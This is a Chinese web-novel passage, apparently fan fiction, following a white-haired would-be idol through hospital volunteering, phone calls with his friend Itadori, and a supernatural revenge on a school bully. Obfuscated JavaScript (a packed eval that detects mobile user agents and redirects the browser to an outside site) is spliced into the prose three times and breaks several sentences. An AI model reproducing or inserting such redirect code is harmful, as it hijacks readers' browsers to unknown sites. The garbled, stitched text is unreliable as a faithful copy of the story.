《因为想被诅咒,所以跨世界出道了》 1. 异常杂音 今天天气很好。 温度适宜,阳光普照。工作日午后的住院部难得清闲,值班的护士小姐以手支颐,脑袋不住一点一点,眼看就要在睡神的召唤下进入梦乡。 感应玻璃门丝滑地朝两侧分开,有渐近的脚步声。服务台的迎接人员小步上前,微微躬身。 “欢迎光临,这里是东京希望之丘医院住院部儿科病房,有什么能帮您的吗?” 她有些疑惑。眼前的少年身姿挺拔,嘴唇红润,和病人毫不沾边;但若说是来探视的,又没有大包小裹的礼物,显得十分清爽。 但她的态度依旧温柔可亲,除了职业素养,还因为对方实在是……长了张相当耐看的脸。 一头新雪般的白色短发打理得当,显得柔顺丝滑,前额的碎发自然垂下,微微遮住了猫咪般的圆眼,削弱了柔和轮廓带来的天真感。鼻梁挺拔,骨相清晰,尽管还未完全挣脱那股童稚之气,但就像宝石的粗胚,假以时日,可以想象将放出怎样璀璨的光华。 少年有些苦恼地抿了抿嘴唇,好看的眉头蹙起,似乎在纠结怎么解释。 就在这时,打瞌睡的护士终于惊醒,揉揉眼睛,噌地站了起来。 “哎呀,这不是小璃空吗!” 她态度热络地招手,待对方走近之后,像是对待邻家孩童般熟稔地扯起了家常。 “今天过来这么早?学业也很重要呢,可不能翘课哦!” 星野璃空一副招架不住的腼腆样子,微微垂着头,回话的声音清亮温和,宛如幽谷中的浅溪,一字一句潺潺流过。 “没有翘课,谢谢小林姐,我知道的。”他认真解释道,“今天社团活动临时取消了,所以就提前过来了。” 护士小林捂着嘴唇吃吃笑了起来,成功看到少年脸颊上的红晕蔓延开来。无聊生活中的调味令人满足,她品味了一会儿才放下手,给熟识的少年指明了方向。 “302、305、317的小病人在等着你呢,他们会很开心的。” 星野璃空点点头,致谢之后刚准备离去,突然间想起了什么。 “那312呢?出院了吗?” 护士的笑容僵硬一下,飞快地凋落了。 她低下头,再抬起的时候,已经又戴上了职业化的温柔面具。 “小璃空,你知道的吧?” 她轻不可闻地叹息着,像是在安慰对方一样。 “孩子的生命……是非常脆弱的。” * 等到少年离去,走入302的病房,房门甫一关上,迎接员就按捺不住好奇心,兴冲冲地凑了过来。 “那是谁啊?” 她双手捧着脸颊,眼睛因为兴奋而亮晶晶的,“好厉害啊前辈,居然跟那么可爱的孩子——” 她发出了意味深长的尾音,意为“懂的都懂”。护士小林好笑地轻推她一把,打住了对方无恶意的玩笑。 “你是新人,所以还不太清楚。” “小璃空……星野璃空,小时候生了很严重的病,在这里住过一段时间。康复以后,他每周都会抽空回来做义工。” “哎呀,是个温柔的好孩子呢。” 对同事的感慨恍若未闻,小林护士已经陷入回忆之中,不自觉轻声喃喃。 “……当时,我们都以为那孩子坚持不下来了。” 但生命即便脆弱,偶尔也会诞生奇迹。 而她们见证了那个奇迹。 前一晚还药石无医、被医生和家属一同放弃的孩子,在她第二天走入病房时,已经离开病床,站在了窗边。他双手搭在窗框上,微微踮起脚尖,贪婪地呼吸着清晨带着露水气息的微凉空气。 手中的托盘由于愕然“咣当”一声坠地,打破了这份静谧。苍白瘦弱的孩童闻声转过头来,朝着门口呆立的小林笑了笑。 “早上好。”他轻快地说,“今天的天气真不错啊,不是吗?” * 【孩子的生命是非常脆弱的。】 几根长气球在指间飞舞,飞快编成了圆嘟嘟的蝴蝶和小狗。星野璃空轻易俘获了几个小病号的心,让他们短暂忘记了手臂上的留置针。 小女孩捧着气球编成的王冠,巴掌大的脸蛋下意识露出了微笑。 她扭扭身子,眼巴巴地问:“璃空哥,你什么时候再来呀?” “哎呀,我这不是还没走吗?” 星野璃空宠溺地伸手,想摸摸她小脑瓜,快要触及头皮时动作微顿,又默默将手收了回来。 然而女孩已经察觉了他的动作,因为消瘦而显得格外大的眼睛抬起,专注地看着他。 “我剃头发啦,医生说我马上就要动手术了!” “你下周再来看我吧,好吗?”她扯着星野璃空的袖口恳求,“那时候、医生说我那时候就会好了!” “……” 星野璃空刮了下她的鼻子,若无其事地笑道,“好啊。” “正好,下个月我在涩谷的livehouse有单独演唱会!是第一次的one-man live!”他在女孩夸张的惊叹声中抬起头,摆出一副超级骄傲的样子,“名字叫做‘夏日焰火’,到时阳菜一定要到场支持我哦!” “好哦好哦!” 女孩拼命点头,在星野璃空最后离开时,还朝着他用力摇晃发光的手机屏幕。 “【Riku_Official】破三万粉丝了,璃空哥!” 苍白的脸色难得染上暖色,她咯咯地笑着,毫无阴霾的欢快模样。 “我喊朋友都关注了,也有我的一份呢!” 她的声音从背后远远飘来,直到离开医院、坐上电车、打开家门,星野璃空似乎还能隐隐听见那些饱含希冀与渴望的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442828|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——演唱会加油! ——一定会成为大明星的! ——会被很多人喜欢吧?好羡慕啊…… 他脱下外套,进洗手间洗了把脸。头顶的LED灯发出明亮柔和的白光,像是一层散粉,均匀地铺陈在这张精巧的面容上。 他和镜中人沉默对视。 片刻之后,少年微微偏头,毫无预兆地展露出一个堪称挑衅的恶劣笑容。 “听见了吗?”他满含恶意地抬起下巴,“会成为大明星呢。” “会有很多人在意你,发狂般地爱着你,为了你的一个微笑、一次回眸豪掷千金,甚至甘愿为你去死。” “你就是为了这个活下去的,不是吗?” 灯光明明灭灭,似乎已不堪重负。 像是在回应他的话一般,背后扭曲的怪物在光与暗的边缘闪逝。 约半人高的粗糙血肉捏合而成,像是混成一团的章鱼触手,偏偏边缘又生有野兽般的蹄爪。几只畸形的翅膀斜插出来,大小不一、羽毛零星,毫不神圣,只是徒增厌恶。 少年随意一瞥,显然早就习惯了它。 它伸出一条黏糊糊的触手,轻轻触碰了星野璃空光洁的脸颊。 没有留下任何痕迹。 于是怪物慢腾腾地收回手,重新蜷缩回这幅躯体身后,假装自己不存在。 灯光重新亮起,照亮了小小的洗手间。星野璃空垂眸,看着镜中的自己,湿漉漉的刘海正往下不住滴水。 滴答滴答。滴答滴答。 他不太明白刚刚那股突如其来的烦躁是从何而来,只是深深吸了口气,强迫自己平静下来。 他望着镜中的自己,那双星空一般的,蓝紫色的眼眸。 伸手轻触镜面中倒影的脸颊,点上自己刚刚被怪物触碰的地方。镜面微微濡湿,坚硬而冰凉。 “你会活下去的。” 他的态度笃定而不容辩驳,宛若高高在上,下达了命令。 “你和他们不同……你已经活下去了。” * 抚平心情之后,星野璃空疲惫地将散落的湿发捋到脑后,准备开始今日份营业。 也就是为了加强人设、吸引粉丝,大到举办握手会见面会,小到社交媒体上更新的动态,给粉丝营造一种“时刻陪伴”的亲密感,从而不自觉投入更多感情。 对于星野璃空这种从地偶开始做起,一步步走到个人演唱会的养成系偶像来说,这种陪伴感就更不可或缺。 他在房间里转了一圈,作为超敬业的新手偶像,刚开始思考今天要发张什么样的照片,背景如何、摆什么pose……飞速运转的思绪却突然被打断了。 明明独自一人的房间中,突然不知何处传来了异样的“滋滋”声。 【宿主……检测到……】 【无法……正在加载……】 2. 你的梦想 像是接触不良时电流的轻响,若有若无。当星野璃空凝神去听时,反而捕捉不到了。 房间中干净异常,连蝇头这样的低级咒灵都没有,更遑论蟑螂苍蝇这样的小生命。 他瞥了眼之前明明灭灭的洗手间顶灯,不耐地啧了一声。 错觉?还是该叫人检修了? 完全懒得管。 对眼下的他来说,什么都没有找好角度自拍一张,然后抓紧时间上传社交媒体重要……粉丝要等不及了。 * 叮咚。 叮咚,叮咚,叮咚。 互联网连接成的虚拟国度,下一刻,不知有多少人的手机震动着发出提升音,亮起白色的荧光。 手机的主人随之将其急匆匆拿起,迫不及待地刷新关注列表。 【来自:Riku_Official】 【配文:准备睡觉了^_^】 【配图:照片】 因为是面部shot,少年不施粉黛的脸庞几乎占据了整个画面。因为困倦而微微打着哈欠,猫眼随之眯起,眼角闪着晶莹的光。 碎发被随手撩到了一边,细看之下,额角还蒙着未干的水雾,似乎刚刚洗过脸,显得干净又柔软。 几乎是显示“发布成功”的下一秒,消息通知已经叮叮咚咚地响了起来。 【哇哇,是素颜照!】 【小璃空的美颜暴击~心跳dokidoki】 【这么晚了也在努力营业呢】 【呜哇今天被上司骂了好难过(哭泣脸)但是有璃空陪着,明天又斗志满满了!(加油)】 当然,评论区不可能一片祥和。 粉丝数暴涨至突破三万大关以后,各种奇形怪状的家伙也冒了出来。 【果然就全靠脸蛋啊。靠这个就能吃饭,真是幸福啊~(笑)】 【这种类型,果然是阿姨们会喜欢的呢XD】 【最近出道的@!平均年龄也很小呢。现在的孩子们真有主见啊~】 星野璃空淡定地把艾特了其他偶像团体的评论删掉,省得接下来评论区吵成一锅粥。至于其他阴阳怪气的评论,删掉了也会再冒出来,说不定还会伴随着“戳中痛点了真是抱歉呢”这样功力更深一层的发言,干脆懒得管了。 他挑了几个眼熟的头像一一回复,最后表示真的很困了,和粉丝们互道晚安之后,顺利结束了今日份营业。 关掉卧室顶灯,取而代之的是卡比形状的小夜灯,在床头放出浅淡的暖光。手机已经扣在枕头旁,星野璃空闭目敷着面膜,呼吸正逐渐放得平缓,就在这时,耳边传来了消息提示的“嗡嗡”声。 他翻了个身,懒得去看。 但嗡嗡声锲而不舍,显然,手机那头的人持之以恒地发着消息,非要今天得到回复不可。 睫毛不停震颤,星野璃空不多的耐心终于耗尽,他猛地坐起身,咬牙切齿地拿起了手机。 【虎子(智障版):星野你账号粉丝三万了!厉害啊(火柴人震惊)】 【虎子(智障版):那些家伙说话也太难听了吧】 【虎子(智障版):我要骂了】 【虎子(智障版):不管了我已经骂了(火柴人得意)】 星野璃空:“……” 他重新打开社交媒体,果然,po文下所有恶评和准恶评底下都出现了气势汹汹的反驳,好一位仗义执言的正义路人。 头像是詹妮弗·劳伦斯。他点进对方主页,热情满溢的少年气息扑面而来,几乎有些烫人了。 【今天和田径部的前辈一起训练了!(配图:开心的大脸,被甩在身后捶地痛哭的前辈)】 【拉面,好吃~ (配图:一大碗热气腾腾的豚骨拉面,叉烧已经不见了一半)】 【幼驯染的事业好像走上正轨了,实在太好了(无配图)】 手机的荧光照亮了星野璃空的面庞,他盯着手机屏幕看了一会儿,面无表情。 智障虎子的消息又发过来了。 【虎子(智障版):已经睡了?想问你新学校还习惯吗(火柴人抱歉)那总之明天再聊,晚安】 星野璃空有些恍然。等回过神来时,才发现屏幕上多出了一条消息——思绪飘离时,手指已经下意识地回复了对方。 【没睡】 短暂的安静,可能是数据在路途中耗费的时间。再然后,手机急促地震颤了起来。 他懒得去看不停弹出的一大堆消息,直接打去了电话。 “喂?我是星野。” 对面卡顿了一秒,似乎没料到这个发展,惊喜之后态度愈发高昂。 “这里是虎杖!还以为你要睡了呢,果然还是想找人聊聊吧!东京怎么样,还不错吧?” 星野璃空无所谓地“嗯”了一声。 “其实都一样啦,仙台也好,东京也好。只不过大城市机会更多,所以就来了。” 如果对方兴致勃勃地分享东京见闻,虎杖悠仁肯定会卖力捧场,但这副平淡样子,他反而不知道怎么接话了。 说实话,自从上初中以后,两人的共同语言越来越少了。 或许是因为那次重病,让星野璃空终于看清了“家人”的不靠谱,几乎是甫一康复,就开始在自立自强的赛道上发足狂奔。 那期间虎杖还经常去照顾他,带着爷爷塞的一些零食和生活用品。说是照顾,但两个小孩子,也只是互相陪伴罢了。 在病床上数着日子度过时,大概心心念念计划了无数次“如果病好了要做什么”,出院之后的星野璃空,开始忙忙碌碌地制定计划、开通社交媒体账号、练习歌舞,让当时同为小学生的虎杖悠仁迷惑不已。 “好努力啊,星野!” 他在星野璃空居住的旧屋小床上打滚,嘴里塞满了零食,说话都有些含混不清。 “这是在干什么?” 对着镜子整理衣着的星野璃空笑了笑,随口道:“在追逐梦想啊。” “梦想?” “嗯……”十岁的孩童眼睛亮闪闪,其中像是承载着一整个世界,“未来有一天,我要在东京巨蛋演出!” 虎杖悠仁捧场地“哇”了一声,叼着的奇多芝士棒从嘴里掉了下来:“好棒!好厉害!” “因为不被人在意的话,就活不下去啊。” 正低头狂炫袋子里残余的辣味芝士粉,虎杖闻言不由愣住,抬起头来迟缓地眨巴着眼睛。 他在星野璃空身后,瞥见那孩子的面孔在镜中的倒影。 远远没有日后那么精巧美丽,只是较为白皙的普通孩子罢了。 但是那双低垂着的眼瞳,掺和着蓝与紫的柔和色调、让人对视之下难以忘怀的美丽眼眸—— 被浅色的睫毛虚掩着,其中仿佛蒙上一层凝实的阴翳,乍看之下,宛若腐败许久的、空洞的死尸。 称不上吓了一跳,反正虎杖觉得自己从小就胆子很大。再加上眨眨眼睛,这种奇怪的错觉立刻就消失了,所以他只是疑惑地“啊”了一声,追问道:“那是什么意思?” “‘不被人在意的话’……那是什么意思?” 星野璃空恍然,赶紧转过身来道歉:“不小心说了奇怪的话,吓到你了吧?” “没有啊,”虎杖悠仁大大咧咧摆手,“爷爷好像也说过类似的话呢。” 老头原话是什么他记不清了,总之就是长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442829|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吁短叹,抱怨自己孤独终老。 但同为实际意义上的“孤儿”,他和爷爷好歹还能相互陪伴。父母离婚后各自再婚、甚至先前在医院直接被放弃的星野璃空,内心的感触只会更加强烈吧。 说起来,最开始大概就是因为同病相怜,所以才会成为朋友? 虎杖悠仁刚在心底暗自发誓以后要多照顾小伙伴一点,务必让对方感受到春天般的温暖,就看见白发的孩子噗嗤一声,朝着他笑出声来。 虎杖:? 这次不等他委屈发问,笑意平复的星野璃空就赶紧解释,安抚受伤的小伙伴。 “没什么,只觉得虎杖不愧是我的朋友。” 在粉色短发的孩子骄傲地挺起胸膛之后,他才揣摩着词汇,就先前的提问编织模糊又安全的理由。 “因为‘偶像’就是这样的生物吧?所以说……” 偶像。× 人类。√ 【“人类”就是这样的生物。】 【不被任何人在意的话,就等同于死去。】 “所以说啊,虎杖,你一定要在众人的欢呼声中——” 爷爷的叮嘱在耳畔回响,虎杖悠仁蓦然惊醒,这才发现手机上通话还未挂断。细听之下,能捕捉到对面均匀的、浅淡的呼吸声。 对于自己居然在通话中途走神,把幼驯染搁置一旁这件事懊恼不已,虎杖烦躁地挠挠头发,喃喃道:“睡着了吗?” 明天再打过去道歉吧。 * 星野璃空忘了最后电话是怎么挂断的了。 大概是对面兴致勃勃地说着什么,而自己被滋长的困意淹没,一不小心睡着了。 并非故意。虽然面对这么个擅长打直球的朋友,他经常有一种无力招架之感,但绝对没有轻视这份羁绊的意思。 所有关系着他的感情他都很珍惜。更别说现实生活中,虎杖大概是他唯一的挚友了。 工作日的闹钟定时响起,他草草吃完早餐,步行去往旁边的学校。 初中升高中,这也是他和虎杖分开的原因。 虎杖因为爷爷的关系,选择了仙台本地的一所高中,而星野璃空考虑到未来的职业发展,转学来了东京——附近的川崎。 没办法,东京的高中不是想上就能上的,而且房价也很夸张啊。 相比之下神奈川的川崎市就很平易近人了,而且交通发达,乘坐新干线到东京只要半小时,可以说是性价比优选。 高中开学已经一个月了,大家都来自不同的中学,大多数人彼此都不认识,倒是没有发生虎杖所担心的,抱团霸凌的俗套剧情。 至于女孩子们凑在一起,和闺蜜窃窃私语“诶你知道吗有个超可爱的新生哦!”,然后课间组团挤在门口,对不用买票就能参观的星野璃空进行一些围观——这甚至都称不上什么困扰了。 反正再过几个月,大家慢慢都会习惯的。 眼下摆在星野璃空面前的,有更紧迫的问题。 面对女同学红着脸递过来的表格,他这才恍然意识到:“啊,要申请社团了。” 确实,高中开学都快要一个月了,正是招新的时候。 不参加是不可能的,他并不想被当成异类排挤。虽然不打算和高中同学结下多么深厚的友情,但如果始终独来独往,那随之而来的隐形排斥也是很麻烦的事。 致力于打造“完美偶像”人设的星野璃空,不会容许自己身上出现那么明显的漏洞。 那么,有没有什么面子上过得去,实际社务又没有那么多的选择呢? 一通搜寻之下,星野璃空终于发现了合适的目标。 名为“吉野顺平”的学长所组建的,只有寥寥几名社员的映像社。 3. 所谓爱恨 映像社,也就是俗称的电影社,就是一群兴趣相似的学生,课后聚集在一起看电影的社团。 或许更有能力的社长还会组织大家学习摄影、剪辑,甚至尝试拍摄学生时代的第一部独立影片,乃至参加竞赛—— 但这和里樱高中的电影社没关系。 这个社团算上创始人兼部长吉野顺平,也才共计三人,正在解散的边缘徘徊。 活动室也很小。社团活动也只是看看电影之类的吧,抽空请假就好。 好不容易找到的偏僻场地门口,手拿报名表的星野璃空最后确认了一下,抬手准备敲门。 指节即将触及门扉的前一秒,虚掩着的门从内里“哗”一声猛地打开,两个身着校服的男生满脸惊慌失措地奔出,从他面前夺路而逃,那副样子,似乎身后有择人而逝的恶鬼。 星野璃空挑挑眉头,从他们来不及关上的门缝窥视。意料之外,本该相当冷清的映像社,几平米一间小屋里居然挤满了人。 四五个面向相当凶恶的高壮男生,在某个家伙带头之下,公然占据了这个房间。 而相比于双手插兜、神态恣意的不速之客们,其中唯一一个跌坐于地、头颅无力垂下的被迫害者,其身份就很明显了。 映像社的部长,吉野顺平。 仅有的两个社员夺路而逃,只留下他来承受这些家伙的怒火。 凶恶分子的领头人侧过身来,倒是生了张还不错的脸,以普通人的标准来说。 他原本正指使身后的跟班把门关上,显然准备进行一些不为人知的霸凌行为,却不期然和停留在门外的星野璃空对上了眼神。 伊藤翔太一怔,随即被对方过于出色的外貌触动开关,回想起了一些令人不快的片段。 ——他知道这个家伙,今年的高一新生。 原本他在这所小小的里樱高中如鱼得水。 富二代,相貌相当不错,心情不好就带上小弟找个倒霉蛋殴打泻火,再加上经常威逼利诱一些书呆子帮自己写点作文拿个奖,还能收获不知情异性的爱慕,可谓是意气风发。 但是,自从这么个画风截然不同的新生出现后,原本属于他的注意,立刻被分走了一大半。 人会毫无理由地记恨上未曾谋面的陌生人吗? 对伊藤翔太来说,当然是会的。 反正今天总是要试试拳脚的,他热身都热好了。既然这个家伙正好凑上来,那就一块儿教训了,省得他总是不长眼色,在自己眼前晃悠! 伊藤翔太心念一转,对着门外抬起了下巴。 “你,过来。” 原本被踹倒在地的吉野顺平闻言挣扎起来:“别!快去找老师!!” 正常人都会拔腿就跑的吧?再想有正义感,总要想想1Vn打不打得过啊! “有什么关系嘛,交流下感情而已。” 然而伊藤翔太一副哥俩好的样子,笑眯眯地搭上星野璃空的肩膀,硬是半拖半拽地把人给拉了进来,机灵的小弟随即关上了门。 而那个被无辜波及的路人还满脸懵懂,不知是否根本没有意识到即将发生什么,一副状况外的样子。 被蓦然变脸的伊藤翔太狠狠推到档案柜上后,居然还有心情慢条斯理地追问。 “学长你,好像很恨我。明明之前好像完全没有见过面呢。” 白发的少年偏着头,一副求知欲旺盛的样子。 “是这样对吗?” 吉野顺平惨不忍睹地捂住眼睛,而已经举起拳头的伊藤翔太呆怔一瞬,忍不住和跟班们一起放声大笑。 充斥着无穷恶意的,属于人类那扭曲、可怖的脸。 “读书读傻了吧你这家伙!”他挂着变形的狞笑,用尽全力的一拳已经挥了过来,“就是看你不顺眼而已啊!!” 拳头裹挟着风声,在星野璃空的视野中逐渐放大。 他忍不住叹了口气。 【骗人。】 无缘由的爱,无缘由的恨。 如果人类的感情真的那么随机不可捉摸,他也不用费尽心思去寻找那个触发点了。 “不过,‘恶意’也是‘在意’的一种呢。” 他漫不经心地说,“你说对吧,学长?” 这些人的爱憎……如此清晰,毫不遮掩。 就像飘荡在空中的黑色丝线,跗骨之蛆般疯狂地朝他缠绕过来,最终被他一一抬手摘下,瞬间变得乖巧可人,安静地匍匐于掌心。 时间仿佛停滞了,而在这个凝固的空间之中,只有黑、白、红三色。 镀上了阴影的白色是桌椅板凳、还有人类这种背景板。寥寥几根黑色,皆是小反派和他的跟班所提供,在纯白的小小活动室内游鱼一般飘荡着。 其余所有空间,都被剩下的那种颜色填满。 红色。铺天盖地的红色。 从手机屏幕中涌出的红线、从门窗的缝隙中爬出的红线、穿越天花板和墙壁不知何处而来的红线……层层叠叠,变成了如有厚度的红色色块,宛如打翻的油漆桶,或者孩童泼洒的红色积木,几乎淹没了整间活动室。 其中夹杂的黑色不安地抽动,但相比之下,几乎可以忽略不计了。 星野璃空注视着指间这几根刚刚诞生不久的黑线,有些苦恼地“啧”了一声。 “要怎么处置你们,”他喃喃道,“我也很苦恼啊。” 这里是星野璃空现实所在的高中,所以不能有群体死亡之类的大丑闻,否则他也会受到影响。 但最好能让这些家伙再也不要出现在他面前。啊,对了,映像社的活动,最好也能正常举办,不然他又要找新的社团。 这个点很难把握,真是麻烦。 要是能毫无顾忌地全部撕碎就好了…… 但是不行,不行啊。 星野璃空厌倦地拨动指间的黑线,为这些小角色安排好下一幕的剧本,随即松开了手。 视野中的万物像是从油漆桶中捞出,褪去怪异的滤镜,变回了原本的颜色。黑线也好、红线也好,全部都杳然无踪,仿佛根本不曾存在过。 重新流动的时间里,伊藤翔太的拳头才刚刚挥出一半。 星野璃空不闪不避,颇感兴趣地直视着他。 在这样毫无波澜的视线之下,伊藤翔太的拳头收力、拐弯,化拳为掌,轻柔地落到了……他自己的裤腰带上。 然后潇洒地把腰带解开抽出,褪下裤子,随后一气呵成地脱下外套和衬衫。 大脑一团浆糊的伊藤翔太:“???” 死手你在干嘛啊!! 快停下!!! 在小弟们目瞪口呆地盯着老大打人不成、突然表演爆衣时,星野璃空灵活地绕过几个身位,重新打开了活动室的门。 他用不大不小的声音惊叹道:“没想到学长你还发展了这样的爱好啊。那我去跟老师申请一下,要不然映像社的场地先让给你们?” “摄像机?”他勉为其难地顿了顿,“嗯,摄像机用完了再还也行。” 其他社团的成员,以及走廊里路过的同学悄咪咪探出了头。 先前跑掉的两名社员带着不停擦汗的老师,朝着这边飞快逼近。 离门最近的小弟脸色由红转白,又由白转青,最终惊恐地一个爆冲离开了这间诡异的活动室,胡乱挥着手大喊。 “不是我,不关我的事,我不知道啊!” 星野璃空站在走廊上把着门,确保所有人都能看到衣服甩了满地、正和自己的内裤疯狂搏斗的伊藤翔太,表情有点犹疑。 “真的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442830|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他朝门内瞥了一眼,“那你们——?” 剩下的不良们如梦初醒,争先恐后地尖叫逃离。 不过稍晚了点,至少星野璃空很确定他们中的绝大多数,此后都会被“课后跟帅气学长霸占映像社~不可告人的秘密~(多人版本)”的谣言笼罩一整个高中。 嗯,也不算是谣言吧。霸凌怎么不算“不可告人之事”呢。 面色扭曲的吉野顺平跟在他们身后出来,看起来似乎很想跟这些人一起尖叫逃跑。 他扶着墙壁,面色惨淡,很显然有些呼吸不过来。 面对老师的询问,倒霉社长同样欲哭无泪:“我也不知道啊……本来只是说要我们让出映像社的场地,突然就……” 于是老师的面色也一起扭曲了。 世风日下,世风日下啊! 他内心再三搏斗,最终还是选择先转过身来,驱散周围挤挤挨挨的围观者。 “看什么看!”他大声怒吼,声振寰宇,“年轻人要懂得节制,懂得礼义廉耻知道吗!!都给我回去!” 星野璃空看着老师吸引所有注意,自己默默隐身。 等到大部分人都被迫散去,他这才得到机会,靠近了眼神有些涣散的吉野顺平,把一直拿在手中的报名表交给了对方。 留着长长刘海的少年一怔,下意识读出了纸张上的名字。 “星野,璃空(Hoshino Riku)?” “是的。”他摆出一副人畜无害的模样,但不太确信对方会不会相信,“我对电影的拍摄和剪辑一直非常感兴趣,所以今晚才会特地前来贵社……” 吉野顺平有气无力地把申请表拍回了他身上,星野璃空不由轻啧一声。 果然结合今晚的情节,这个借口还是有点太敷衍了—— “还要什么申请表啊,你帮我大忙了。”吉野顺平抹了把脸,试图振作起来,“要不是你,我、不对,是整个映像社今晚就麻烦大了!” 回想起之前的梦幻场景(已打马赛克),他脸色一变,赶紧顺势扶住对方肩膀,生怕对方突然反悔。 “星野君,”他声情并茂地说,“从今天开始,你就是映像社的副部长了!” * 意外之喜。 步行回家的路上,星野璃空总结今天一天的收获,觉得自己成长了很多。 面对意外事件处理手段更灵活了,没有造成伤亡事件,还完美达成目的。 接受邀请之后,他还索要了吉野顺平的手机号,为了方便日后请假。 他看了眼时间,恍然意识到已经过去了这么久,天色都已经渐暗了,星与月都在昏沉的天幕上显出模糊的轮廓来。 手机发出了“叮咚”的消息提示音。 原本以为是虎杖,毕竟根本没有几个人知道他的私人号码。 【尊贵的客人,您在本店定制的服装已按期完成,欢迎随时前来试衣。】 ……是服装店啊。 其他杂念顿时尽皆抛下,胸腔中的心脏怦然鼓动,塞满气球一般,再次变得欢欣鼓舞、跃跃欲试起来。 一个月之后的One-man Live,他就要—— 完全不懂得看气氛,那个恼人的莫名杂音再一次响了起来,让星野璃空的浅淡笑容瞬间凝固。 【正在加载……】 【宿主鉴别……种族未定……程序错误……】 【重新鉴定中……】 他晃晃脑袋,咬着牙不耐烦地左右张望。 果然,不去凝神思索偶像事务,只是带着怒气想着要把这玩意揪出来杀掉的时候,反而一点都听不见了。 星野璃空烦躁地咬着下唇,直到口腔中弥漫出温热的铁腥味儿。 ——最好别让他知道谁在捣鬼! 4. 绑定失败 拿到演出服后,职业素养拉满的星野璃空照常营业,拍了袖口的一角花纹,调好亮度后发到网上。 【来自:Riku_Official】 【配文:演出服完成了!好期待啊~】 【配图:照片】 可惜在正式演出之前,这套战袍的全貌不能尽情展现给粉丝看到。毕竟神秘感是魅力的重要源泉,只有确定存在的惊喜,才能保证观众的期待啊。 他的指腹轻轻滑过微凉的布料,想象着它们在聚光灯下将如何绽放光彩,唇角不由自动地勾了起来。 花费那么多时间与精力,吃力地学习待人接物、察言观色,如何得体应对、进退有据,人与人之间默认的边界在哪里,又该怎样尽量取得他人的好感。 或许对某些人来说是天生就会、如同呼吸一般信手拈来的技能,但对星野璃空来说,就像从未接触过外语的孩子艰难地翻着词典,咬着牙逼自己必须在考试中拿到满分。 每个动作和气息都能百分百操控,是天生为舞台而生的完美偶像。 但是,但是,谢幕之后的那些东西,对星野璃空来说,才是最为艰巨的考验。 他抿着嘴唇拿起手机,开始用活泼的语气搭配颜文字一一感谢粉丝的支持。 什么样的语气才恰到好处? 这样回复是可以的吗? 到底要到什么时候,才能对人与人之间的这套东西了如指掌呢? 【已经很不错了吧?白天的表现很棒啊。】 但是不够。不够。还远远不够呢。 他微笑着,注视手机屏幕熄灭后自己的倒影。 因为【星野璃空】,想要被全世界的人喜爱啊。 * “幻听?” “是啊。” 结束了一天的学习和训练,终于返回住处的星野璃空放松地躺倒在床上,敷着面膜穿着居家服,懒洋洋地和唯一友人虎杖通着电话。 至于昨晚莫名挂断的那通,两人都默契地没有再提。 “诶?大概是什么样子的?”虎杖悠仁紧张兮兮地问,“会不会是压力太大了?” 星野璃空打了个哈欠,一口否决:“我哪儿有什么压力。” “下个月的单人演唱会——” “小意思啦。” 星野璃空本想说他根本没有紧张这种情绪,只会徒然影响发挥。 演唱会对他来说,只是发布展示原创曲目的小小舞台、顺便宣布正式出道的一个起点罢了。 但是,正常人面对这种场面,确实会感觉喘不过气对吧? 这种“异样”是星野璃空绝对避免的,于是他干脆把这个话题含混带过,转而问道:“虎杖呢?” “最近还好吗?” 开玩笑,傻孩子虎杖能有什么不好的。 他社交媒体上发布的动态,天天被田径部的老师哭求入部,闲暇之余还加入了灵研社,胃口好到一顿能炫三碗拉面。 但是对面却不知为何沉默了。呼吸声一起一伏,连带这边的星野璃空也不自觉迷惑了起来。 “虎杖?” “……嗯。” 少年的鼻音有些发闷,连带着平日里活力满满的声音也发飘了起来。 “没什么……就是觉得,稍微有点孤单。” 爷爷已经住院很久了。 他毕竟已经是风烛残年的老人了。即便身在医院,但医护所能做的,也只是提供一下临终关怀,让老人家生命中最后的时日好过些罢了。 说到底,寿数耗尽又有什么良药呢? 他们也好,虎杖也好,早就看到了那个即将到来的结局……只是没有人说破罢了。 高中不是不好,同学和老师也都很照顾他。在学校的时候,虎杖悠仁也同样努力和他人相处,人缘算得上相当不错。 但是,社团活动后买了鲜花看望爷爷,听完老人炸雷般的吆喝声之后,再独自回到空空荡荡的小屋。 看着月亮的影子沿着白墙一点点往上攀爬,唯一的响声是马路上汽车飞驰而过的骤响,渐近又渐远。一个人躺在床上,在空荡荡的房间里对着手机,多少会觉得,有些孤单吧? 星野璃空愣住了。 这个时候该怎么办? 书上没说啊! 